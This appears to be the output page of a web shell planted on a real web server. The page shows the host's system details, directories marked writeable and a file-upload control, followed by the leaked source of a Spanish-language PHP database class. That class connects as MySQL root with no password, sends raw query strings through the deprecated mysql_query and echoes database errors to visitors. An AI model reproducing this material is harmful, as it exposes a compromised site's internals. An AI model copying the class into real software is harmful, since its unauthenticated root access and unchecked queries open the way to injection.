KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/logicswapweb/aplicaciones/admon/generales/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/logicswapweb/aplicaciones/admon/generales/clssoperabd.php
<?php
/******************************************************************
  clase realizar operaciones en la base de datos                 
 ******************************************************************/
class operacionesbd{
//Atributos de la clase
	var $db_HOST = "localhost";
	var $db_USER = "root";
	var $basedatos='intranet';
	var $vinculo ;			//link de conexi�n a la base de datos
	var $registros;			//almacena el resultado de una consulta a la base de datos
/************************************************************
M�TODO: 		conectar
DESCRIPCION: 	se conecta a una base de datos	
PARAMETROS:	
	$basedatos:	base de datos a la que se conectara
RETORNA:
	error:		si la conexion lo genera 
*************************************************************/
	function conectar(){
		if (!$this->vinculo = mysql_connect($this->db_HOST,$this->db_USER))
		{
			$mensaje = "Error conectando a la base de datos";
			$this->dis_mensaje($mensaje);
			return false;
		}
		if (!mysql_select_db($this->basedatos,$this->vinculo))
		{
			$mensaje = "Error seleccionando la base de datos";
			$this->dis_mensaje($mensaje);
			return false;
		}
	}
/************************************************************
M�TODO: 		consultar
DESCRIPCION: 	Realiza conexion a la base de datos y 
				Verifica que la base de datos sea la adecuada	
PARAMETROS:	
	$consulta:	consulta a realizar en la base de datos
	$basedatos:	base de datos en la que se realizar� la consulta
RETORNA:
	error:		cuando la consulta genera algun error
	$registros:	cuando la consulta no genera errores
*************************************************************/
	function consultar($consulta){
		$this->conectar();
		$this->registros  = mysql_query($consulta,$this->vinculo);
							echo mysql_error();
		return $this->registros;
	}
/************************************************************
M�TODO: 		liberar
DESCRIPCION: 	Libera los recursos asociados a el cursor registros	
PARAMETROS:	
RETORNA:
*************************************************************/
	function liberar()
	{
		mysql_free_result($this->registros);
	}
/************************************************************
M�TODO: 		cerrar
DESCRIPCION: 	cierra la conexi�n
PARAMETROS:	
RETORNA:
*************************************************************/
	function cerrar()
	{
		mysql_close($this->vinculo);
	}
 
/************************************************************
M�TODO: 		dis_mensaje
DESCRIPCION: 	despliega un mensaje en la pantalla
PARAMETROS:		mensaje a desplegar
RETORNA:
*************************************************************/
	function dis_mensaje($mensaje)
	{
			echo "<tr>
					<td colspan=\"4\" class='pront' align='center'>
						<br><FONT color=#000099 face='Arial, Helvetica, sans-serif' size=2>".$mensaje."</FONT><br><br>
					</td>
				</tr>";
	}
 


}//*********fin de la clase****************

?>

Anon7 - 2021